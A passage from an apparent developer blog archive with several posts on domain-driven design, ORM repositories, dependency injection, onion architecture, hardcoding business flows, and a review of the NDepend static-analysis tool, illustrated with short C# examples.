In our example, SalesCart is an aggregate-root. CartItem is not; it’s merely part of SalesCart aggregate. SalesCart is our single entry-point to the aggregate (e.g. to add a product). You can’t access CartItem directly outside the aggregate boundary, similary you don’t have repository or DAO for CartItem. It’s persisted as part of SalesCart (cascade update/insert/delete). Aggregate concept is a key rule that simplifies domain persistence greatly.

Infrastructure Is Skin Deep

After our previous posts, I hope by now we have agreed on one thing: infrastructure should sit at the outer skin of the application. Our infrastructure concern, in this case, is where and how we persist our domain objects. Before ORM, during the time when building an application was an act of writing some codes to execute a series of SQL statements to JDBC/ADO.NET, it was not possible to pull out database concerns away from our application code without making an unacceptable amount of degradation in performance.

ORM lets you to do exactly that. It hides away the database plumbing so it is not visible from the surface. It replaces the notion of database with something that looks and smells like a normal object Collection. In DDD, this collection of domain objects is known as “Repository”.

Repository

It’s a common mistake to take the term repository as another name for DAO. They might look similar but they are different in principle. If anything, Repository is another name for ICollection, and rightly so. Repeat 3 times, Repository == ICollection: a component that holds references to your objects, allowing you to Get/Find the objects back, and it keeps track of the changes and lifecycles of the objects. Just like an ICollection, it may have various implementations, like ArrayList, Dictionary, perhaps HttpSession, serialized files, or in our case, a relational database. These implementations are insignificant: they sit right at the outer skin of the application, and they are therefore swappable.

Just to remind you with the diagram from the previous post a year back:

IRepository<T> interface sits comfortably in Sheep.Domain.Services at the POCO core of the system. Using ORM, our repository is able to pretend to be a POCO collection. In Sheep.Infrastructure.Data, we have an implementation of the repository (NHibernateRepository<T>) that uses NHibernate to manage the persistence to a relational database. At runtime, this implementation will be injected to the core by IoC container. Note that Sheep.Infrastructure.Data is the only namespace with any reference to System.Data and NHibernate. Outside this namespace, IRepository pretends to be a POCO object collection.

Testability

ORM frameworks abstract your database plumbing into a unified abstraction such like standard object collection. Having this abstraction means that your code is not dependent to specific persistence mechanism. Linq is another language-level abstraction available to .net developers, which nHibernate also leverages. This combination, not only provides ability to substitute your persistence easily between in-memory, web-services, distributed-hash-table, and relational-database, but it also means you can replace the actual mechanism with much simpler fake implementation for testing purpose.

We’ll use the code from our previous code as an example:

public class AuthenticationService: IAuthenticationService
{
    IRepository<User> userRepository;
    ICommunicationService communicationService;

    public UserAuthenticationService(IRepository<User> userRepository, ICommunicationService communicationService)
    {
        this.userRepository = userRepository;
        this.communicationService = communicationService;
    }

    public void SendForgottenPassword(string username)
    {
        User user = userRepository.Where(u=> u.Username == username).First();
        user.ResetPinWith(PinGenerator.GenerateRandomPin());
        if(user != null)
            communicationService.SendEmail(user.EmailAddress, String.Format("Your new PIN is {0}", user.Pin));
    }
}

Here is the unit-test code:

// Arrange
ICommunicationService mockCommunicationService = MockRepository.CreateMock<ICommunicationService>();
IRepository<User> userRepository = new ArrayListRepository<User>();
var user = new User{UserName = “Sheep”, EmailAddress=”test@test.com”, Pin = “123123”};
userRepository.Add(user);

// Action
var authenticationService = new AuthenticationService(userRepository, mockCommunicationService);
authenticationService.SendForgottenPassword(“Sheep”);

// Assert
Assert.That(user.Pin, Is.Not.EqualTo(“123123”), “Password should be reset”);
mockCommunicationService.AssertCalled(x=> x.SendEmail(”test@test.com”, String.Format(“Your new PIN is {0}”, user.Pin));

As you can see, AuthenticationService in our unit-test above uses a simple implementation of IRepository (ArrayListRepository) via dependency-injection. Like ArrayList, this ArrayListRepository simply holds its objects in a variable-size memory list, and is not backed by any persistent database. During runtime, however, AuthenticationService will be using a repository that is backed by database-engine via ORM (e.g. NHibernateRepository). This is normally done by configuring your IoC container, but if it’s to be written by plain code, it would look like:

var authenticationService = new AuthenticationService(new NHibernateRepository<User>(nhSession), emailService);
authenticationService.SendForgottenPassword(“Sheep”);

This way, NHibernateRepository can sit right at the edge of the application. Our application code (AuthenticationService, in this case) does not have to be aware of the relational database, or the ORM. In term of .net speak, your domain projects should not have any reference to System.Data or NHibernate assemblies. Only your outmost layer (Infrastructure and IoC projects) should know about these assemblies.

Model First Development

That all POCO talk in ORM endorses a development flow that starts with you modeling your domain entities as POCO objects, focusing on shaping their behaviours and relationships, without touching any persistence concerns. This development style facilitates Agile, since we no longer need to use any database during early stage of development, which is by plugging Hibernate to an in-memory database (e.g. Sqlite, HSql, SqlCE), so we can focus on evolving our object models and behaviors without getting the friction from database schema in the way. We just go ahead and think in objects and behaviors; we don’t need to think about tables, foreign-keys, joins, CRUD, normalization, etc. Fluent NHibernate greatly smoothens out this methodology

Only at the later stage when we’re already happy with our business code that we would start looking at database infrastructure details, which is actually as simple as plugging our ORM to a real database (Oracle, SqlServer, MySql, etc). NHibernate will do the rest, including generating all the SQL to create all the table schemas for us.
In Agile, it’s highly imperative to delay infrastructure concerns for as long as possible to stay adaptive to changes.

Convention over Configuration

Common resistance of adopting ORM in projects is the sheer complexity of its configuration, particularly in Java side (Hibernate). It’s probably fine in Java: application development in Java is full of XML from nose to toes, verbose, and no one seems to mind about that. But that does not fit very well to .Net development culture where codes are concise, boilerplate codes are plague, XMLs are grotesque beasts, and developers aren’t particularly keen of spending whole afternoon on XML configs before even seeing any running application.

That drove the need for a tool like Fluent NHibernate that allows you to “configure” your ORM using convention. I’m not going to bore you with the detail, but in general, it almost frees you completely from having to configure anything for your ORM to just work and save your objects to your database like magic. It lends itself to model-first-development with zero-friction. You simply go ahead and write your domain objects, then NHibernate will figure out the rest. You can immediately save your objects to the database (and query it), without even touching any mapping configuration from your side. It all sounds too magical. Fluent NHibernate allows this by inspecting your entities and properties, and automatically uses conventions to automatically generate table schemas, column definitions, associations, and constraints for you (e.g. if you choose pluralization, a Person class will be automatically mapped into a generated table named CRM_PEOPLE). You can always then stray away from this convention in a case-per-case basis when necessary by overriding the configuration using its fluent API for your specific entities.

The same capability is also available in Entity Framework since .Net 4.0.

Finally

I have to admit I overhyped many things quite a bit there. Most ORMs suffer from what we call leaky abstraction. There is an impedance mismatch between relational database and object-oriented language. Abstracting relational database into ICollection look-alike is incredibly hard, which is why we need ORM in the first place. It needs a good understanding in how ORM works under the hood in order to use it effectively, and it is very hard. There are luckily some tools that can greatly assist you in doing so like NHibernate Profiler. It analyses the way you use NHibernate, and give you useful advices and warnings when it detects performance problems that might need to be looked at. The existence of such a dedicated commercial tool in a way only highlights how complex ORM framework like NHibernate is.

These complexities with ORM frameworks fueled CQRS architecture and NoSql movement. Now that I have finally got this ORM chat out of the way, hopefully I will get to write some post about these new topics, or rather, about what I have learnt from NoSql and CQRS buzz so far. And now about this series. Next posts will probably cover TDD and DDD, hopefully not after another year of disappearance.

Software Development Fundamentals, Part 2: Layered Architecture

This is part of a series of introductory guidelines for software development. It’s a continuation of the previous post about Dependency Injection.

One of the primary reasons to adopt Dependency Injection is that it is impossible to achieve a good layered architecture without it. Many developers argue that IoC container is only beneficial if you are doing test-driven-development. I disagree. I can’t quite think of how else you can build any layered architecture at all without IoC.

First, let’s take a moment to define layered architecture. There is a common misconception about layered architecture, which is largely contributed by misleading diagrams in most textbooks and articles. This is how layered architecture often described in textbooks.

image

I think that’s rather deceptive. Unfortunately, developers often take this diagram too literally. Each layer depends on the layers below it. Presentation layer depends on business-layer, and then both depend on data-access layer.

There is a huge flaw in that diagram. Data-access layer should be at the outmost part of application. Business layer should be at the core! But in this diagram, Data-access layer is becoming the core foundation of the whole application structure. It is becoming the critical layer. Any change on data-access layer will affect all other layers of the application.

Firstly, this architecture shows an incongruity. Data-access layer, in reality, can never be implemented without dependencies to business detail. E.g. DbUserRepository needs to depend on User. So what often happens is developers start introducing a circular dependency between Business layer and DataAccess layer. When circular dependency happens between layers, it’s no longer a layered architecture. The linearity is broken.

Secondly, which is more important, this architecture tightly couples the whole application to infrastructure layer. Databases, Web-service, configurations, they are all infrastructure. This structure could not stand without the infrastructure. So in this approach, developers build the system starting from writing the infrastructure plumbing first (e.g. designing database-tables, drawing ERD diagram, environment configuration), then followed by writing the business code to fill the gaps left by the infrastructural bits and pieces.

It’s a bit upside-down and not quite the best approach. If a business-layer couples itself with infrastructure concerns, it’s doing way too much. Business layer should know close to nothing about infrastructure. It should be in the very core of the system. Infrastructure is only a plumbing to support the business-layer, not the other way around. Infrastructure details are most likely to change very frequently, so we definitely do not want to be tightly coupled to it.

Business layer is an area where you have the real meat of your application. You want it to be clean of any infrastructure concerns. Development effort starts from designing your domain-code, not data-access. You want to be able to just write the business code right away without setting up, or even thinking about, the necessary plumbings. One of the guideline in previous post is that we want classes within business layer to be POCO. All classes in business layer should describe purely domain logic WITHOUT having any reference to infrastructure classes like data-access, UI, or configuration. Once we have all domain layer established, then we can start implementing infrastructure plumbing to support it. We get all our domain models baked properly first, before we start thinking about designing the database tables to persist them.

So this is a more accurate picture for layered architecture.

image

Infrastructure sits at the top of the structure. Domain layer is now the core layer of the application. It doesn’t have any dependency to any other layer. From code perspective, Domain project does not have any reference to any other project, or any persistence library. Databases, just like other infrastructure (UI, web-services), are external to the application, not the centre.

Thus, there is no such thing as “database application”. The application might use database as its storage, but simply because we have some external infrastructure code in the neighbourhood implementing the interfaces. The application itself is fully decoupled from database, file-system, etc. This is the primary premise behind layered architecture.

Alistair Cockburn formalizes this concept as Hexagonal Architecture, so does Jeffrey Palermo as Onion Architecture, but they truly are merely formalized vocabularies to refer to the old well-known layered architecture wisdom.

Onion Architecture

To describe the concept, let’s switch the diagrams into onion-rings. Jeffrey Palermo describes bad layering architecture as follows:

image

In onion diagram, all couplings are toward the centre. The fundamental rule is that all code can only depend on layers more central, never on the layers further out from the core. This way, you can completely tear out and replace the skin of the onion without affecting the core. But you can’t easily take away the core without breaking all outer layers.

In the diagram above, the infrastructure sits in the core of the onion. It becomes an unreplaceable part of the system. The structure cannot stand without infrastructure layer in the core, and the business layer is doing too much by embracing the infrastructure.

This is the better architecture model:

image

UI and infrastructure sits right at the edge skin of the application. They are replaceable parts of the system. You can take the infrastructure layer completely and the entire structure stays intact.

Implementation

Take a look at the diagram again.

image

If you follow the previous post, we were building “resend PIN to email” functionality. AuthenticationService is in the domain layer at the core of application, and it does not have knowledge about SMTP client or database (or even where User information is stored). Notice that DbUserRepository and SmtpService are in outmost layer of the application, and they depend downward on the interfaces in the core (IUserRepository, IEmailService) and can implement them. Dependency Injection is the key.

public class AuthenticationService: IAuthenticationService
{
	IUserRepository userRepository;
	ICommunicationService communicationService;

	public UserAuthenticationService(IUserRepository userRepository, ICommunicationService communicationService)
	{
		this.userRepository = userRepository;
		this.communicationService = communicationService;
	}

	public void SendForgottenPassword(string username)
	{
		User user = userRepository.GetUser(username);
		if(user != null)
			communicationService.SendEmail(user.EmailAddress, String.Format("Your PIN is {0}", user.PIN));
	}
}

At runtime, IoC container will resolve the infrastructure classes that implement the service interfaces (IUserRepository, ICommunicationService) and pass them into UserAuthenticationService constructor.

Project Structure

My typical project structure looks like this in Visual Studio:

image

I separate each layer into its own project. One of the benefits is that it physically enforces linear dependencies. Each layer can only depend on the layer below it. If a developer introduces a circular dependency between Domain layer and Data-Access, Visual Studio (or Java’s Eclipse) won’t even compile. Here is how these projects work together within the architecture:

image

Every component depends only to the components in the layer below it. As you can see, the only project that has reference to System.Data and NHibernate library is Sheep.Infrastructure.Data. Likewise, the only project with System.Web.Services reference is Sheep.Infrastructure.BackEnds. And none of those infrastructure projects is referenced by any other part of the application (and this is enforced by Visual Studio). Therefore, they can be totally taken away and replaced without affecting the application core. On the flip side, the whole infrastructure layer is tightly coupled on the core layer.

Domain layer is POCO. It does not depend on any other project, and it does not contain any reference to any dll for particular technology. Not even to IoC framework. It contains just pure business logic code. In order to be executed, this assembly has to be hosted either within a system that can provide infrastructure implementation, or within test system that provides mock dependencies. Hence notice that we have 2 versions of top-level skins in the structure: Infrastructure and Test.

So what’s the benefit?

  1. Domain layer is now clean of infrastructure concern. Developers actually write business code in human readable language, not a messy pile of SQL statements/NHibernate, socket programming, XML document, or other alien languages
  2. You can write domain code straight from the start without system consideration or waiting for infrastructure implementation. I.e. you don’t need a database at early stage of development, which is invaluable because you eliminate the overhead of keeping your database schemas in sync with domain models that are still shaky and keep changing every few minutes.
  3. The application core can be deployed for any client or any infrastructure, as long as they can provide the implementation for the service interfaces required by the domain layer.

Basically, it all describes Single Responsibility Principle (each class should only have 1 reason to change). In the classic diagram, being tightly coupled to data-access layer, domain layer needs to change because of some changes in infrastructure details. Whereas in layered architecture, you can completely tear apart the infrastructure layer at the skin, and replace with arbritary implementation without even laying a finger on any domain class at the core. Thus there is only 1 reason the classes in domain layer need to change: when the business logic changes.

Having said that, this architecture is not necessarily the best approach for all kind of applications. For simple form-over-data applications, Active-Record approach is probably better. It couples the whole application directly to data-access concerns, but it allows a rapid pace of data-driven development. However, for most non-trivial business applications, loose coupling is a very crucial aspect of maintainability.

This whole post is actually an introduction to our next dicussion about Domain Driven Design in some later post.
To be continued in part 3, Object Relational Mapping

Software Development Fundamentals, Part I

Preamble

I’m going to start a post (or perhaps a series thereof) to discuss some basic practices and fundamental concepts in building software applications. There are certainly other alternate methodologies and architectural styles to build a software application, but the ones covered here are ones that I find the most essential taken as the “default architecture” for typical LoB applications. This is the architectural template I use liberally to start any LoB application development, and while they aren’t written in stone, you will need a very strong reason to deviate from it.

I’ll discuss several common architectural patterns, and I start with the most essential one. Dependency Injection is an absolutely essential pattern here, because without it, it’s physically impossible to achieve a proper layered architecture. More about Onion Architecture further down this post.

Dependency Injection

Application codes that are composed of hugely entangled components are extremely hard to maintain. So this is our first rule: C#/Java’s new keyword is a bitch You probably have heard plenty of times that new is evil and perhaps wondering what’s our problem with the seemingly humble innocent word.

To explain it, let’s start writing some code. Suppose we’re writing an over-simplified service to send forgotten PIN to customer’s email.

public class UserAuthenticationService
{
    public void SendForgottenPassword(string username)
    {
        User user = DbUserRepository.GetUser(username);
        if(user != null)
            SmtpService.SendEmail(user.EmailAddress, "PIN Reminder",
                String.Format("Hello, your PIN is {0}", user.PIN);
    }
}

This class has direct dependencies to UserRepository and EmailService. This kind of dependency lines between 1 component to another is often referred to as spaghetti code. There are 3 problems with this code:

  1. This code cannot be worked on in isolation. In order to execute and understand this component you will need to bring together a fully configured SMTP server and updated database storing User account. If all components in your applications are tied together, it’s quickly going to cause you a serious problem. You constantly need to work with your application in a whole, because all components are entangled together. To change one component, you need to change the others. Developers brains aren’t scalable. As the application grows, you can’t just take the whole components of your systems into your head. You need to be able to work on a small component of the system without the presence of other components. You need to decouple every part of your system to a tiny workable unit.
  2. Since this class needs other components to function properly, it means that you cannot unit-test this class. Unit-test requires that your class can be readily executed and interrogated as a single unit. Decoupling and dependency injection is the most important key to unit-test. More detail about unit-test in next post.
  3. This code violates the natural structure of application layering. SendForgottenPassword is a business concern, and it needs to be at the core (bottom) layer of the application. DbUserRepository and SMTPService, in the other hand, are infrastructure concern. Infrastructure layer lives in outmost skin of applications. However, what we have here is a wrong direction of dependency. More about application layering and Onion-Architecture later in this post.

DbUserRepository and SmtpService are implemented as static classes. Here is our second rule: static class is an anti-pattern. Not always, but it’s a good rule of thumb.

Let’s refactor that a bit using “Code against interface, not implementation” principle.

public class UserAuthenticationService
{
    IUserRepository userRepository = new DbUserRepository();
    ICommunicationService communicationService = new SmtpService();
    public void SendForgottenPassword(string username)
    {
        User user = userRepository.GetUser(username);
        if(user != null)
            communicationService.Send(user.EmailAddress, String.Format("Your PIN is {0}", user.PIN);
    }
}

This is better. Now our method is decoupled from any concrete dependency. Instead, we set a contract. The interfaces (IUserRepository, ICommunicationService) are the contract. They merely define what operation you need to perform. We declare that we need to send an email to somebody. At the other end, some class will need to satisfy the contract with an implementation. In this case, SmtpService provides that implementation. Thanks to contract-based programming with interface, now there is no coupling between our code and SmtpService.

There is one problem though. Yes, it still requires direct dependencies to satisfy the new keyword. This is where Inversion-of-Control comes into play. Generally speaking, there are 2 types of Inversion-of-Control (IoC): Service-Locator and Dependency-Injection. Most IoC containers support both patterns.

Let’s now refactor this code to use Service-Locator pattern.

public class UserAuthenticationService
{
    IUserRepository userRepository = ServiceLocator.GetInstance("UserRepository");
    ICommunicationService communicationService = ServiceLocator.GetInstance("CommunicationService");
    public void SendForgottenPassword(string username)
    {
        User user = userRepository.GetUser(username);
        if(user != null)
            communicationService.SendEmail(user.EmailAddress, String.Format("Your PIN is {0}", user.PIN);
    }
}

A little bit better. ServiceLocator will provide you the instance of DbUserRepository and SmtpService based on some kind of IoC configuration, e.g. XML. Now this class is totally clean from any dependency. This class has low coupling. However, this is still not good enough.

  1. This class actually has tight runtime coupling. In configuration, you tie “UserRepository” alias with DbUserRepository class. You can’t easily create an instance of UserAuthenticationService in absence of concrete database implementation, or create one that uses different communication method (e.g. using SMS instead of Email).
  2. This code is hard to use, mostly because it still has 1 dependency: the ServiceLocator class itself. Now you can only use this class within a running full-blown IoC container. You can’t easily poke around this class in isolation. In order to use this class, you will need to have a well configured service-locator.

Let’s refactor this further into dependency injection.

public class UserAuthenticationService
{
    IUserRepository userRepository;
    ICommunicationService communicationService;
    public UserAuthenticationService(IUserRepository userRepository, ICommunicationService communicationService)
    {
        this.userRepository = userRepository;
        this.communicationService = communicationService;
    }
    public void SendForgottenPassword(string username)
    {
        User user = userRepository.GetUser(username);
        if(user != null)
            communicationService.SendEmail(user.EmailAddress, String.Format("Your PIN is {0}", user.PIN);
    }
}

All the dependencies are now injected from the constructor, hence constructor-injection.

This is much better. This class is now free of any dependency. It’s not concerned with database implementation, email infrastructure, or service-locator framework. This is a class that requires no configuration or specific setup, no container, and no infrastructure to use. It’s just a plain class. This characteristic is commonly referred to as POCO (Plain Old CLR Object), or POJO (Plain Old Java Object). So this is our third rule: POCO/POJO classes are good. Always strive for plain domain classes that are completely clean from infrastructure concern.

In Onion Architecture discussed later, EmailService and DbUserRepository are usually located in separate dll, the Infrastructure dll, right at the outmost skin of application layer. So now AuthenticationService does not have a reference to that Infrastructure dll anymore. It only defines interface contract. At runtime, the infrastructure layer will wire in all dependencies to the service.

 authenticationService = new AuthenticationService(dbUserRepositiory, emailService); 

Now you can easily substitute the communication method to sms-service, or you can also easily swap the user-repository with in-memory data cache or a fetch to LDAP server. AuthenticationService knows nothing about those implementation detail. It assumes nothing about application infrastructure. Consequently, you can obviously swap those dependencies with fake objects which makes unit-testing possible.

Managing Side Effect

With injected dependencies, we’re now very explicit about all dependencies that AuthenticationService requires. It’s now clear to client code that methods in AuthenticationService will have side-effects to UserRepository and EmailService, and them only. Client code can accurately guess what impact this code can cause to the system. It is very important that a class should ONLY make side-effect to objects explicitly provided to it. AuthenticationService can never access product-catalogue, or UI screen, or displaying popup dialog, because we don’t provide them any access to it.

That’s why our previous rule was static-class is an anti pattern, because it’s an open invitation for every single objects in whole application to directly access it and silently cause side-effect without even following the right flow of layering. E.g. if you declare your EmailService as static object, then it’s hard to tell which code is responsible for sending welcome emails, and you would never guess that apparently it’s your database-connection object impolitely doing more than it’s trusted with, by accessing the EmailService statically. More about managing side-effect in Command Query Separation principle

Problem

Unfortunately, there is one problem with this approach. Seems like there’s always problems with anything I propose, so just get used to it. So now, every time we need to use UserAuthenticationService, we need to pass all of its dependencies to the constructor. It’s tedious and violates the notion of abstraction. And if the dependencies have further dependencies, we will end up with long chain of dependencies. E.g.:

service = new UserAuthenticationService(
    new DbUserRepository(new DbConnection()),
    new SmtpService(new SmtpClient(new TcpConnection())));

It’s smelly. You only care about sending forgotten password, and you don’t want to care about the plumbing to make it happen.

This is how IoC container comes very handy. I usually use Castle Windsor for no particular reason except that I’ve used it for long enough, but thre are many equally popular options like Ninject, Autofac, StructureMaps, Spring.Net, and Unity.
IoC container let you just to write decoupled classes, and at runtime the container will automatically wire all those individual classes for you at runtime.

Zero Friction Development

A typical misguided complaint about using IoC container is that it’s holding up the pace of development, particularly due to its superfluous configuration. Not true. That was in old days when XML still ruled the planet.

The term Rapid Application Development (RAD) has gained a bad reputation thanks to dragy-dropy Visual-Studio designer in early inception of .Net. The term Zero Friction Development is now the new jargon for RAD. Basically when you start an application project, you don’t want to spend a lot of time setting up configurations, writing bunch of classes, initializing several APIs, bringing up application-server, write zillions of boiler-code. You just want to start writing the code right away and get go with a running application immediately. One thing I love about .Net culture over Java (no flame war guys) is its resemblance to RoR culture in term of appreciation to Zero Friction Development. We steal RoR wisdom of Convention over Configuration.

Everyone hates XML. It sucks. Luckily, you need none to setup your IoC container. In Windsor, I only need these lines to specify convention to configure the whole dependencies in the application project:

container.Register(
    AllTypes.Pick()
        .FromAssembly(typeof (Infrastructure.Data.Repository<>).Assembly)
        .WithService.Select(InNamespace("Sheep.Services")));

This code registers all implementation classes in Data assembly, and by convention uses any interface within Sheep.Service namespace as the service-interface. In our case, IUserRepository is the service-contract implemented by DbUserRepository. There are many other ways you can configure your convention, but I would not delve too deep here (you can always check Windsor website for more detail). The point is, this code allows rapid development.

We just simply start writing decoupled classes right away, and declare its required dependencies in constructor arguments, and that’s all. Your class knows nothing about the implementations at all. Windsor will do the rest of the work for you to locate all the implementations from various dll’s at runtime to fill all your dependencies. We end up with rapid and loosely coupled development model.

To be continued in part 2..

This rumble about IoC went on longer than I expected, and I haven’t touched anything about architecture. But I promised I was going to discuss about Onion Architecture? Well, here’s the forth rule: don’t trust what you read in a blog post 😉 People lie in the Internet. It turns out I won’t do it in this post. It’s long enough to be it’s own post, so I’ll make a second post. Meanwhile I’ll appreciate any comment.

Just Hard Code Everything

We often forget the point why we extracted certain kind of application logic out into some sort of configuration XML or database.

Recently I worked on a system that has a dynamic screen flow for a sales process. This is very common functionality in CRM applications. Basically in the sales process, the user is presented with a series of questions (and sets of possible answers in dropdown/radio-button or free-text), and the flow of the questions varies depending on how the user answers the previous questions based on certain business rule. These end-to-end flows and rules are called a script.

So to accomodate this, the developers built a mechanism to store these rules and flows in a set of database tables. Everyone would get terrified if I suggest “just hardcode all of them!.” Typical reaction is that these business-logics are so volatile, subject to change every once in a while. We need XML configuration, or mastered in database, or build DSL. Hardcode just sounds insanely terrifying. They wanted some mechanism that allows easy changes.

So we’ve had this implemented as a set of database tables such like these (among others):

  • SCRIPTS, storing several different scripts (representing an end-to-end flows for specific use-case)
  • STEPS, represents each step (question/calculation) within a flow
  • SCRIPT_STEPS, assign a step into part of a script. Few of its columns:
    • SCRIPT_ID
    • STEP_ID
  • STEP_NAVIGATIONS, governs flow between steps of a script. Few of its columns are self-explanatory:
    • SCRIPT_ID
    • FROM_STEP_ID
    • TO_STEP_ID
    • CONDITION
  • WIDGETS, specifies set of widgets need to be presented for each step. Not every step has UI presentation.
    • WIDGET_ID
    • WIDGET_TYPE (textbox, textlabel, dropdown, button, etc)
    • LABEL
    • VALUES
    • VALIDATION
  • STEP_WIDGETS, finally this is to link several widgets to each step
    • STEP_ID
    • WIDGET_ID

We put this configuration in database to allow easy change and restructuring. But look around, does that make it somewhat easy?

Reconfiguring the scripts is achieved by writing a series of insert and update SQL statements, changing these obscure columns and those flags in trial-error fashion. Each step/widget/property/navigation are represented in numeric IDs and flags. Even the simplest change to the business flow (e.g. adding a new step) takes careful examination of various tables, changing/adding data in numerous tables, some obscure data manipulation SQL over several tables full of magic numbers and flags to get all stars alligned perfectly. (I always need at least a pencil, a piece of paper, and strong determination just to make the slightest change to the navigation flow).
It feels like programming on punch-cards. And no unit-test is possible to make sure we’re doing it right.

Everyone seems to forget, “why did we build all these again”?
We often get trapped by ellusive purpose of building a configurable system with the premise of allowing runtime reconfiguration of the business logic. But in real practice, any change to business logic is a serious manner, requiring a proper release cycle. Runtime change to business flow while the users are still actively working will jeopardize system integrity. And most change-requests to the business logic need code changes anyway. And most importantly, all these configuration are CACHED at runtime! So we never really have any capability making immediate change to the script configuration in the database in the first place.

What’s the purpose of having a rule engine?
The main purpose of a configurable rule engine is NOT so that we can change it during runtime. It’s more to provide developers a Domain Specific Language to express the rule and business flow, translating business flow-chart into a working application, and probably allowing the domain-expert to read or verify the logic.
This is a good reason to take the application-logic out from the code, and put that into some sort of “readable” configuration. Some kind of xml structure, or DSL file, or database-backed authoring interface.

But this DB-based configuration we’re having right now, it doesn’t bring that value. We extract the logic into configurable database tables only to make it harder to express, almost impossible to read, and terribly tedious to change. It left us nothing.
Now, if you’re not providing DSL or authoring interface, you better off hardcode it. C# code is still way more readable and easier to write and change than bunch of numeric database collumns and tables.

Sometimes we need to step back a little bit, forget about neat configuration and just hardcode everything!

// ---- Step Definition ----
var askIfLinkedToHandset = script.CreateStep<bool>()
	.Ask("Do you want to link this product to a handset")
	.RadioButton("Yes", true)
	.RadioButton("No", false);

var askHandsetSerial = script.CreateStep<string>()
	.Ask("Please enter handset IMEI")
	.Textbox();
	.Validate(x=>x.Answer.Length == 20, "IMEI needs to be 20 digits");

var calculateFinance = script.CreateStep()
	.Execute(data=> data.FinanceAmount = CalculateHandsetFinance(askHandsetSerial.Answer));

var askOutrightAmount = script.CreateStep<Decimal>()
	.Ask("Finance amount for the handset is {0}. How much do you wish to pay outright?"
		, financeAmount)
	.Textbox();

var askBonusChoice = scripts.CreateStep<BonusOption>()
	.Ask("Please choose your preferred bonus option")
	.Dropdown(()=>bonusRepository.GetBonusOptionsForProduct(data.Product))
	.WithText(bonus=>bonus.Name);
// ---- Navigation flow ----
Navigate.From(askIfLinkedToHandset)
	.When(x=>x.Answer == true).GoTo(askHandsetSerial)
	.Else().GoTo(askBonusChoice);

Navigate.From(askHandsetSerial)
	.GoTo(calculateFinance);

Navigate.From(calculateFinance)
	.When(x=> x.Data.FinanceAmount == 0).GoTo(askBonusChoice))
	.When(x=> x.Data.FinanceAmount < x.Data.MinimumOutright).GoTo(fullOutrightPayment))
	.Else().GoTo(askOutrightAmount));
	
Navigate.From(askOutrightAmount)()
	.GoTo(askBonusChoice);

This is much easier to read! More importantly, it’s easier to change! It takes little effort to modify existing logic/calculation, or to radically swap over some navigation flows, or add bunch of new steps. We are dealing with concrete objects in OO fashion. Navigation flow is defined very clearly. It’s no longer a set of obscure numbers and flags scattered all across many normalized database tables. Shall domain-experts choose, they would prefer reading this source-code than the previous ultra-complicated DB config.

“RDBMS-based configurations are better in accomodating future change in business logic?” It does remove compilation step, but what’s so difficult about compiling this single .cs file? Is that really harder than writing database-migration SQL script?

Hardcoded logic like this is also much better in version-control. We can track the changes of the logics in CVS/SVN history. Alas what I have right now with our sophisticated DB configuration is just a series of long SQL update statements that keeps being added overtime as the business-flow evolves. Almost impossible to make out what business-rule has changed in each SQL update statement.

Finally, this piece of code is really easy to test. I can execute that navigation tree and easily poke it with various combination of data/answers and observe the flow of the steps.

NDepend for Continuous Quality

Full Disclosure: Patrick Smacchia (lead dev of NDepend) offered me an NDepend Professional license so that I could use it and blog about it. I gladly received it. Now I’m going to tell you how much it rocks, but not because I have to. I had been having interest in NDepend for quite some time. It’s a great tool in promoting good application code and architecture, something I’m quite fond of. This is a tool that I would have been using anyway if the project I’m working on were on .Net.

What is NDepend?

In case you haven’t been within the reach of geeky hype signal recently and never heard about NDepend, it is a tool that reads into your source code, and statically analyses if the code meets certain design guidelines and quality. By “statically”, it means that it examines your code without actually running it. NDepend is often used in code-review process during development to easily identify spots in the code that could be improved.

If that sounds like FxCop to you, yes they share the same goal in principle, but they are different in 2 ways:

  1. FxCop works on fine-grain details. It inspects each line of instruction or coding structure, and how they comply with framework design guideline. NDepend works more from high-level application architecture viewpoint. It visualizes the code in terms of dependencies, complexities, and other design metrics in quantifiable numbers, giving you a big picture idea of the state of the code and spot smelly areas. You can then define some thresholds to define an acceptable level of code quality. Further down this post, this difference will become crystal clear.
  2. FxCop gives you a set of rules you can use, but and there is no easy way to express your own rule. Adding new rule involves writing new add-in to be plugged into FxCop. The primary strength of NDepend is on its CQL (Code Query Language), a DSL that allows you to express your own custom rule and evaluate it on the fly as you type.

Using NDepend

NDepend makes me wish my current project at work was written on C#. It is in fact written in Java. Incidentally, developed using big-ball-of-mud approach, the code has degraded to one of the worst source-codes I have worked on. That should have been absolutely the perfect place to use NDepend and refactor the big mess out loud. Alas NDepend doesn’t deal with Java. The good news is, NDepend just announced to release NDepend for Java, XDepend. But that’s for another post.

For our purpose, I pick a codebase from one of open-source .net projects I am quite familiar with, CodeCampServer, a web application developed using a Domain-Driven-Design and Test-Driven-Development on MVC platform. That perfectly mimics my idea of good application architecture.

UI appearance of Visual NDepend very much feels like Visual Studio environment.

image  image

Getting NDepend to analyse assemblies is incredibly easy! Literally couple of intuitive clicks, and before I know it, I am presented with fantastic details of information about the project.

Dependency Graph

Dependency graph is the best way to understand the architecture of the code.

image

You can navigate further deeper to get more intimate understanding about the code. Since CodeCampServer is built using Domain-Driven-Design, the domain-model layer is more than likely to be our primary interest in understanding the application, particularly when it’s developed by other people.

DependencyGraphSnapshot

What we are looking at is a direct x-ray scan of CodeCampServer.Model.Domain namespace, and it says 1 thing: the code is impressive! Doesn’t take much to notice that CodeCampServer is developed using a solid Domain-Driven-Design: the code almost looks like business document. None of all classes within this namespace has any reference to some geeky technical details or infrastructure components. Indeed, the dependency graph of this code directly reflects the business models and their associations, which is readily consumable not only for developers, but also for business people. Big A+ for CodeCampServer.

Dependency graph can also be presented in the form of matrix.

image

3 rules to read this matrix:

  • Green: number of methods in namespace on the left header that directly use members of namespace on the top header
  • Blue: number of methods in namespace on the left header that is directly used by members of namespace on the top header
  • Black: number of circular direct dependency between namespaces on the left and on the top headers

As such, the following graph generates English description: 42 methods of the assembly CodeCampServer.Website are using 61 methods of the assembly CodeCampServer.Model

image image

So back to the previous complete matrix, it shows that CodeCampServer.Model.Domain namespace does not have any reference to any other namespace (all horizontal boxes are blue). To put in other word, domain-model is the core of this application (see Onion Architecture). All DDD-ish so far.

What I find interesting is that data-access namespace (CodeCampServer.DataAccess) makes *zero* direct communication with CodeCampServer.Model.Domain. It means that none of the repositories makes a direct communication with domain entities at all. This is impressive! It might seem counter-intuitive at first, how can those repositories create instances of domain-entities from DB, as well as save the state of domain-entities to DB without making any communication with any method/property/constructor of domain entity?

